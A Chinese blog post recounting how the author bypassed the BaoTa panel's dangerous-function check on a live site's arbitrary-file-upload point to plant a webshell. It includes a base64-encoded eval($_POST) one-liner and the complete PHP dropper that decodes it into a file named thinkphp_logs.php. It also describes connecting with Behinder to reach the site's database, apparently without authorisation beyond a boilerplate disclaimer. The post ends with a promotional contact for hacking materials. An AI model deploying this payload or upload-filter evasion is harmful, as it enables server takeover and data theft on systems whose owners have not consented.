漏洞挖掘 | 记一次绕过宝塔的文件上传

前几天找到个可以上传任意文件的上传点,成功上传phpinfo页面并能访问,但是不能成功上传一句话,发现这台主机装了宝塔,经过反复尝试终于成功上传一句话并连接。
0x01 漏洞发现
结果前期摸索,发现了一个上传点,能上传任意文件,且会返回路径
 

图片


尝试上传phpinfo页面,上传成功并返回地址(phpinfo页面忘记截图了),到这里想着getshell离我不远了,只有一句话的距离。
0x02 遇见障碍
一切当然没有想象中的顺利,上传一句话并没有返回路径,尝试不同的一句话,发现不管是使用冰蝎还是蚁剑的免杀马都不能成功返回路径,工具扫一波发现使用的是宝塔。
在宝塔官网发现,应该是禁用了危险函数,对我们上传的php文件会进行检查,看是否存在危险函数。
0x03 新思路
 

图片


那么就得换一种思路,既然上传上去的一句话连不上,就尝试在本地生成一个一句话。由于我们能上传任意文件,于是先上传一个base64加密的一句话文本即txt文件,返回文件路径IDw/cGhwIEBldmFsKCRfUE9TVFsnYSddKTsgPz4=

图片


接下来我们上传一个将上述txt文件进行base64解码并生成一个名叫thinkphp_logs.php的一句话的php文件。内容为:

<?php$path = “./“;$path = $path.”1.txt”;echo $path;//$fp = fopen(“$path”,”r”);//$str = fread($fp,filesize($path));$str = file_get_contents(“$path”,”r”);$str = base64_decode($str);echo $str;$handle = fopen(“./thinkphp_logs.php”,”w”);fwrite($handle,$str);fclose($handle);?>

图片


如上,由于此文件并没有危险函数,所以并未被删除,成功返回路径,需要执行这个php文件就得在web上访问一下他,利用返回的路径,在浏览器访问这个文件,该文件成功执行

图片


一句话在本地生成,宝塔并未删除,用冰蝎连接,连接成功

图片


但是由于使用了宝塔,限制得很死并不能执行任何命令,只能连数据库,并未成功getshell

图片


0x04 总结
这次并没有成功的getshell,只是获取了数据库。这里只是讲述了文件上传的新思路,如果不能成功上传一句话就不需要再去尝试直接上传一句话,可以考虑先上传不会被查杀的php文件,然后通过这个文件生成一句话,按照这种思路,生成一句话的方法就有很多种,就不限于这种加密之后再解密。

想要学习更多黑客知识

免   /    费   /    资   /   料  +:   

 zkaq567

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值